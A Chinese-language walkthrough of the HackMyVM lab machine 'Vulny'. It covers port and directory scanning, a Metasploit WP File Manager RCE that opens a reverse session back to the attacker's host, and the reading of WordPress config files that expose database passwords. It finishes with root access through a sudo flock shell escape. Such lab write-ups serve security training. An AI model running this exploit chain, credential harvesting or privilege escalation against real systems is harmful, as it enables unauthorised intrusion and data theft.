靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Vulny
作者:sml
难度:⭐️⭐️
知识点:wp_file_manager_rce、sudo提权(flock)
┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.9.14 -p 1-65535
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 18:57 CST
Nmap scan report for 192.168.9.14
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
33060/tcp open mysqlx
MAC Address: 08:00:27:74:86:89 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds
┌──(root㉿kali)-[/home/kali/hmv/Vulny]
└─# gobuster dir -u http://192.168.9.14 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x jpg,php,html,png,zip,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.9.14
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,jpg,php,html,png
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 10918]
/javascript (Status: 301) [Size: 317] [--> http://192.168.9.14/javascript/]
/secret (Status: 301) [Size: 313] [--> http://192.168.9.14/secret/]
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 1453501 / 1453508 (100.00%)
===============================================================
Finished
===============================================================
首页
/secret
/javascript
wordpress报错了。说找不到config-168.9.14.php文件,虽然保存了但是我们也得到了这个文件夹应该是属于wordpress的
对/screct目录进行扫描
┌──(root㉿kali)-[/home/kali/hmv/Vulny]
└─# dirsearch -u http://192.168.9.14/secret
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg\_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg\_resources.html
from pkg\_resources import DistributionNotFound, VersionConflict
\_|. \_ \_ \_ \_ \_ \_|\_ v0.4.3
(\_||| \_) (/\_(\_|| (\_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/hmv/Vulny/reports/http\_192.168.9.14/\_secret\_24-11-06\_19-07-03.txt
Target: http://192.168.9.14/
[19:07:03] Starting: secret/
[19:07:04] 403 - 277B - /secret/.ht\_wsr.txt
[19:07:04] 403 - 277B - /secret/.htaccess.bak1
[19:07:04] 403 - 277B - /secret/.htaccess.orig
[19:07:04] 403 - 277B - /secret/.htaccess.sample
[19:07:04] 403 - 277B - /secret/.htaccess\_extra
[19:07:04] 403 - 277B - /secret/.htaccess.save
[19:07:04] 403 - 277B - /secret/.htaccess\_orig
[19:07:04] 403 - 277B - /secret/.htaccessBAK
[19:07:04] 403 - 277B - /secret/.htaccessOLD
[19:07:04] 403 - 277B - /secret/.htaccess\_sc
[19:07:04] 403 - 277B - /secret/.htaccessOLD2
[19:07:04] 403 - 277B - /secret/.html
[19:07:04] 403 - 277B - /secret/.htm
[19:07:04] 403 - 277B - /secret/.htpasswd\_test
[19:07:04] 403 - 277B - /secret/.htpasswds
[19:07:04] 403 - 277B - /secret/.httr-oauth
[19:07:04] 403 - 277B - /secret/.php
[19:07:20] 200 - 3KB - /secret/readme.html
[19:07:26] 301 - 322B - /secret/wp-admin -> http://192.168.9.14/secret/wp-admin/
[19:07:26] 301 - 324B - /secret/wp-content -> http://192.168.9.14/secret/wp-content/
[19:07:26] 200 - 511B - /secret/wp-content/
[19:07:26] 500 - 610B - /secret/wp-content/plugins/akismet/admin.php
[19:07:26] 500 - 610B - /secret/wp-content/plugins/akismet/akismet.php
[19:07:26] 200 - 469B - /secret/wp-content/upgrade/
[19:07:26] 200 - 486B - /secret/wp-content/uploads/
[19:07:26] 403 - 277B - /secret/wp-includes/
[19:07:26] 301 - 325B - /secret/wp-includes -> http://192.168.9.14/secret/wp-includes/
[19:07:26] 500 - 0B - /secret/wp-includes/rss-functions.php
[19:07:26] 500 - 3KB - /secret/wp-admin/setup-config.php
/secret/readme.html
/secret/wp-content/
/secret/wp-content/uploads/
这里看起来应该是有一个文件目录泄露
发现了wordpress的插件包
看下里面的readme.txt 获取到了版本 6.0
msfconsole
search wp-file-manager
use exploit/multi/http/wp\_file\_manager\_rce
set targeturi /secret/
set rhost 192.168.9.14
set rport 80
set lhost 192.168.9.3
set lport 1199
set forceexploit true
run
shell
数据库信息获取
先把wordpress给他download下来
shell内:
cd /usr/share/wordpress
tar -czvf wordpress.tar.gz \*
exit y //退出shell
download /usr/share/wordpress/wordpress.tar.gz /home/kali/hmv/Vulny/wordpress.tar.gz
端口扫描时发现开放了33060端口 对应的服务时Mysqlx
看下配置文件
cat /usr/share/wordpress/wp-config.php
<?php
*/\*\*\
*\* WordPress's Debianised default master config file*
*\* Please do NOT edit and learn how the configuration works in*
*\* /usr/share/doc/wordpress/README.Debian*
*\*\*\*/*
*/\* Look up a host-specific config file in*
*\* /etc/wordpress/config-<host>.php or /etc/wordpress/config-<domain>.php*
*\*/*
$debian\_server = preg\_replace('/:.\*/', "", $\_SERVER['HTTP\_HOST']);
$debian\_server = preg\_replace("/[^a-zA-Z0-9.\-]/", "", $debian\_server);
$debian\_file = '/etc/wordpress/config-'.strtolower($debian\_server).'.php';
*/\* Main site in case of multisite with subdomains \*/*
$debian\_main\_server = preg\_replace("/^[^.]\*\./", "", $debian\_server);
$debian\_main\_file = '/etc/wordpress/config-'.strtolower($debian\_main\_server).'.php';
if (file\_exists($debian\_file)) {
require\_once($debian\_file);
define('DEBIAN\_FILE', $debian\_file);
} elseif (file\_exists($debian\_main\_file)) {
require\_once($debian\_main\_file);
define('DEBIAN\_FILE', $debian\_main\_file);
} elseif (file\_exists("/etc/wordpress/config-default.php")) {
require\_once("/etc/wordpress/config-default.php");
define('DEBIAN\_FILE', "/etc/wordpress/config-default.php");
} else {
header("HTTP/1.0 404 Not Found");
echo "Neither <b>$debian\_file</b> nor <b>$debian\_main\_file</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username.";
exit(1);
}
*/\* idrinksomewater \*/*
*/\* Default value for some constants if they have not yet been set*
*by the host-specific config files \*/*
if (!defined('ABSPATH'))
define('ABSPATH', '/usr/share/wordpress/');
if (!defined('WP\_CORE\_UPDATE'))
define('WP\_CORE\_UPDATE', false);
if (!defined('WP\_ALLOW\_MULTISITE'))
define('WP\_ALLOW\_MULTISITE', true);
if (!defined('DB\_NAME'))
define('DB\_NAME', 'wordpress');
if (!defined('DB\_USER'))
define('DB\_USER', 'wordpress');
if (!defined('DB\_HOST'))
define('DB\_HOST', 'localhost');
if (!defined('WP\_CONTENT\_DIR') && !defined('DONT\_SET\_WP\_CONTENT\_DIR'))
define('WP\_CONTENT\_DIR', '/var/lib/wordpress/wp-content');
*/\* Default value for the table\_prefix variable so that it doesn't need to*
*be put in every host-specific config file \*/*
if (!isset($table\_prefix)) {
$table\_prefix = 'wp\_';
}
if (isset($\_SERVER['HTTP\_X\_FORWARDED\_PROTO']) && $\_SERVER['HTTP\_X\_FORWARDED\_PROTO'] == 'https')
$\_SERVER['HTTPS'] = 'on';
require\_once(ABSPATH . 'wp-settings.php');
?>
找不到数据库密码啊,联想到首页提示缺少某个文件猜测就是这个文件
果然在这里
cd /etc/wordpress
ls
config-192.168.1.122.php
htaccess
cat con\*
<?php
define('DB\_NAME', 'wordpress');
define('DB\_USER', 'wordpress');
define('DB\_PASSWORD', 'myfuckingpassword');
define('DB\_HOST', 'localhost');
define('DB\_COLLATE', 'utf8\_general\_ci');
define('WP\_CONTENT\_DIR', '/usr/share/wordpress/wp-content');
?>
利用navicat连接上去
无法连接。
上面wp-config.php里面有一个很奇怪的注释
*/\* idrinksomewater \*/*
有可能是用户密码
提权到adrian用户
su adrian
sudo -l
Matching Defaults entries for adrian on vulny:
env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on vulny:
(ALL : ALL) NOPASSWD: /usr/bin/flock
sudo flock -u / /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root